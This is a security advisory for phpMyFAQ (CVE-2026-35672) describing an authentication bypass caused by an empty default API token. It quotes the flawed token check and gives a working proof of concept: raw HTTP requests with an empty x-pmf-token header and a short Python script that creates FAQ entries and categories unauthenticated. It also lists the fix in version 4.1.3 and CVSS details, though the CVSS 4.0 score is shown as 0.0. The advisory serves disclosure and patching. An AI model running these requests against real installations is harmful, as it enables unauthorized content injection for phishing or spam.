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GHSA-gp95-j463-vv28 CVE-2026-35672

phpMyFAQ: Default Empty API Token Authentication Bypass

High Packagist
Severity
0.0 / 10
High · CVSS 4.0
Exploit chance (EPSS)
0.48%
Chance of exploitation in the next 30 days. Higher than 41.64% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-1188 Initialization of a Resource with an Insecure Default
Fix
Available
2 packages have a fixed version

Description

Summary

A default empty API client token allows any unauthenticated user to create and modify FAQ entries, categories, and questions via the REST API. The vulnerability exists in all versions since API v4.0 was introduced because the installation process seeds api.apiClientToken with an empty string, and the hasValidToken() comparison logic cannot distinguish between "no token configured" and "attacker sent a matching empty token header."

Details

The root cause is in two files:

1. Installation default (src/phpMyFAQ/Setup/Installation/DefaultDataSeeder.php, line 277-278):

'api.enableAccess'   => 'true',
'api.apiClientToken' => '',       // ← defaults to empty string

2. Authentication check (src/phpMyFAQ/Controller/AbstractController.php, line 198-204):

protected function hasValidToken(): void
{
    $request = Request::createFromGlobals();
    if ($this->configuration->get('api.apiClientToken') !== $request->headers->get('x-pmf-token')) {
        throw new UnauthorizedHttpException('"x-pmf-token" is not valid.');
    }
}

The method uses strict inequality (!==). When api.apiClientToken is '' (default) and the attacker sends x-pmf-token: (empty header value), the comparison becomes '' !== '' which evaluates to false — no exception is thrown, and authentication is completely bypassed.

The OpenAPI annotations confirm the developer intended these endpoints to require authentication: write endpoints are tagged 'Endpoints with Authentication' and document HTTP 401 responses, while read-only endpoints are tagged 'Public Endpoints'.

The following API endpoints call $this->hasValidToken() as their only authentication check:

File Endpoint Method
src/.../Controller/Api/FaqController.php:701-703 /api/v4.0/faq/create POST
src/.../Controller/Api/FaqController.php:857-859 /api/v4.0/faq/update PUT
src/.../Controller/Api/CategoryController.php:278-280 /api/v4.0/category POST
src/.../Controller/Api/QuestionController.php:89-91 /api/v4.0/question POST

PoC

Environment: phpMyFAQ 4.2.0-alpha, PHP 8.4.16, SQLite, installed with all defaults.

Step 1 — Verify that requests without auth header are correctly rejected:

POST /api/v4.0/faq/create HTTP/1.1
Host: <target>
Content-Type: application/json

{
    "language": "en",
    "category-id": 1,
    "question": "Test Question",
    "answer": "Test Answer",
    "keywords": "test",
    "author": "test",
    "email": "test@test.com",
    "is-active": true,
    "is-sticky": false
}

Response (HTTP 401 — correctly blocked):

{"type":".../problems/unauthorized","title":"Unauthorized","status":401,"detail":"Unauthorized access.","instance":"/v4.0/faq/create"}

Step 2 — Send the same request with an empty x-pmf-token header:

POST /api/v4.0/faq/create HTTP/1.1
Host: <target>
Content-Type: application/json
x-pmf-token: 

{
    "language": "en",
    "category-id": 1,
    "question": "[POC] Authentication Bypass Confirmed",
    "answer": "This FAQ was created without any valid authentication token.",
    "keywords": "poc,bypass",
    "author": "Security Researcher",
    "email": "researcher@example.com",
    "is-active": true,
    "is-sticky": false
}

Response (HTTP 201 — bypass confirmed):

{"stored": true}

Step 3 — Category creation via the same bypass:

POST /api/v4.0/category HTTP/1.1
Host: <target>
Content-Type: application/json
x-pmf-token: 

{
    "language": "en",
    "parent-id": 0,
    "category-name": "POC_Category",
    "description": "Category created via empty token bypass",
    "user-id": 1,
    "group-id": -1,
    "is-active": true,
    "show-on-homepage": true
}

Response (HTTP 201):

{"stored": true}

Step 4 — Verify injected content is publicly visible:

GET /api/v4.0/faqs/1 HTTP/1.1
Host: <target>

Response (HTTP 200 — injected FAQ publicly exposed):

[{"record_id":1,"record_lang":"en","category_id":1,"record_title":"[POC] Authentication Bypass Confirmed","record_preview":"This FAQ was created without any valid authentication token. ..."}]

PoC with Python (urllib — no external dependencies):

import urllib.request, json

TARGET = "http://<target>"
HEADERS = {"Content-Type": "application/json", "x-pmf-token": ""}

# Create FAQ via empty token bypass
data = json.dumps({
    "language": "en", "category-id": 1,
    "question": "[POC] Auth Bypass", "answer": "Created via bypass.",
    "keywords": "poc", "author": "R", "email": "r@t.com",
    "is-active": True, "is-sticky": False
}).encode()
req = urllib.request.Request(f"{TARGET}/api/v4.0/faq/create", data=data, headers=HEADERS, method="POST")
resp = urllib.request.urlopen(req)
print(f"Status: {resp.status}")  # 201 — bypass successful

Overlap Summary:

Test x-pmf-token HTTP Status Result
No auth header (not sent) 401 Unauthorized 🔒 Correctly blocked
Empty token header "" 201 Created 🔓 Bypass confirmed
Category creation "" 201 Created 🔓 Bypass confirmed
Public verification (not needed) 200 OK 📄 Injected content visible

Impact

This is an authentication bypass (CWE-1188) affecting any phpMyFAQ installation where the administrator has not explicitly set a non-empty API client token — which is the default state after installation.

  • Who is impacted? Any organization running phpMyFAQ with default configuration. The REST API is enabled by default, and the token defaults to empty. No action by the administrator is required for the vulnerability to exist — it is the out-of-the-box state.
  • What can an attacker do? Create and modify FAQ entries, categories, and questions without any authentication. This enables content injection for phishing, SEO spam, reputation damage, and distribution of malicious links through the knowledge base.
  • What is NOT affected? Read-only API endpoints are intentionally public. Session-authenticated admin endpoints are not affected. File upload and backup endpoints require separate session-based authentication.

Affected versions

Packagist

PackageVulnerableFixed in
phpmyfaq/phpmyfaq
< 4.1.3
4.1.3
thorsten/phpmyfaq
< 4.1.3
4.1.3

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

phpmyfaq/phpmyfaq Packagist → 4.1.3

composer
composer require phpmyfaq/phpmyfaq:^4.1.3

thorsten/phpmyfaq Packagist → 4.1.3

composer
composer require thorsten/phpmyfaq:^4.1.3

Severity breakdown

CVSS 4.0 0.0

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Attack vector
Network
Attack complexity
Low
Attack requirements
None
Privileges required
None
User interaction
None
Confidentiality (vulnerable system)
None
Integrity (vulnerable system)
High
Availability (vulnerable system)
None
Confidentiality (subsequent systems)
None
Integrity (subsequent systems)
None
Availability (subsequent systems)
None
Exploit maturity
Not defined
Scope
X

CVSS 3.1 7.5

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
High
Availability
None

Weakness

CWE-1188: Initialization of a Resource with an Insecure Default

The product initializes or sets a resource with a default that is intended to be changed by the product's installer, administrator, or maintainer, but the default is not secure.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-rw77-vq4g-x3hp
phpMyFAQ has SQL Injection in `StopWords::add()` — Unescaped Stop Word Insertion
High Also affects phpmyfaq/phpmyfaq
GHSA-8gpw-xvpf-hvx5
phpMyFAQ's two-factor authentication login bypasses the password factor
High Also affects phpmyfaq/phpmyfaq
GHSA-pgwp-vc7q-cvj3
phpMyFAQ has Stored XSS in Admin FAQ Editor via HTML Entity Bypass in Frontend FAQ Submission
High Also affects phpmyfaq/phpmyfaq
GHSA-6pvm-2vjj-rx4w
phpMyFAQ: SQL LIKE Wildcard Injection in Chat User Search Allows Authenticated User Enumeration
Medium Also affects thorsten/phpmyfaq
GHSA-mf8r-wm2w-f8c5
phpMyFAQ public FAQ APIs expose inactive FAQ content
Medium Also affects phpmyfaq/phpmyfaq
GHSA-88g4-74f3-63x9
phpMyFAQ has Potential Authenticated Path Traversal in PDF Export
Medium Also affects phpmyfaq/phpmyfaq
GHSA-pg62-f8g4-4wqh
phpMyFAQ privilege escalation: GroupController::updatePermissions lets a GROUP_EDIT admin grant rights they do not hold
High Also affects phpmyfaq/phpmyfaq
GHSA-985r-q3qp-299h
phpMyFAQ has an incomplete fix for GHSA-xvp4-phqj-cjr3 — editUser() and updateUserRights() lack authorization guards
High Also affects phpmyfaq/phpmyfaq
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